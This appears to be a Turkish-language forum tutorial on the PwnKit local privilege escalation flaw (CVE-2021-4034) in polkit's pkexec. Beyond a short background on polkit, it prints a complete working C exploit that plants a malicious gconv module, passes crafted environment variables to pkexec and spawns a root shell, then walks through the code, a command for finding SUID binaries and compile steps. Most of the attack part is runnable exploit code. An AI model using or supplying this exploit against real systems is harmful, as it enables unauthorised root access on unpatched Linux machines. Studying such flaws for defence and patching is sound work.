Merhaba arkadaşlar bugün sizlerle pwnkit açığının nasıl exploit edildiğini, açık neden oluştuğunu ve PoC açıklaması yapacağım.
2009’dan beri kullanılan Polkit (Policy Toolkit) paketinde uzun süre fark edilmeden kalan ciddi bir güvenlik açığı vardı. Bu açık, saldırganların yetkileri olmadan bir sisteme tam yönetici (root) erişimi elde edebilmesine imkan tanıyordu. Sorunun bu kadar kritik olmasının sebebi, Polkit’in çoğu linux dağıtımında varsayılan olarak kurulu olması ve bu yüzden çok yaygın bir şekilde kullanılmasıdır.
Polkit aslında linux’ta bir yetkilendirme sistemidir. Yani bir kullanıcı, normalde daha yüksek yetki gerektiren bir işlem yapmak istediğinde (örneğin sistem ayarlarını değiştirmek gibi), Polkit devreye girer ve bu işlemi yapmaya izin olup olmadığını kontrol eder. systemd ile entegre çalışır ve klasik "sudo" sistemine göre çok daha ayrıntılı ve esnek izin yönetimi sunar.
Polkit ile etkileşim kurmak için kullanılan araçlardan biri de pkexec adlı programdır. Güvenlik açığı da tam olarak bu araçta bulunuyordu.
Örneğin grafik arayüzlü bir oturumda
Bash:
pkexec useradd tht123
İşte C ile yazılmış bir pwnkit exploiti
C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
C:
void gconv_init() setuid(0); setgid(0);
seteuid(0); setegid(0);
system("... /bin/sh");
exit(0);
}
setgid(0) gerçek grup ID’yi root yapar
seteuid(0) efektif kullanıcıyı root yapar
setegid(0) efektif grubu root yapar
C:
system("export PATH=...; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
C:
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x ...");
C:
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
C:
char *env[] = { "pwnkit",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=pwnkit",
NULL
};
GCONV_PATH=. modülün yolu
SHELL=pwnkit pkexec’i şaşırtır
C:
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
SUID içeren tüm ikili dosyaları bulmak için
Bash:
find / -perm -4000 2>/dev/null
/usr/bin/pkexec bir SUID ikili dosyasıdır bu yüzden
C:
gcc cve-2021-4034-exploit.c -o exploit
PwnKit çok basit bir şekilde root yetkisi kazandıran local privilege escalation açığıdır.
Umarım okurken keyif almışsınızdır
Son düzenleme:




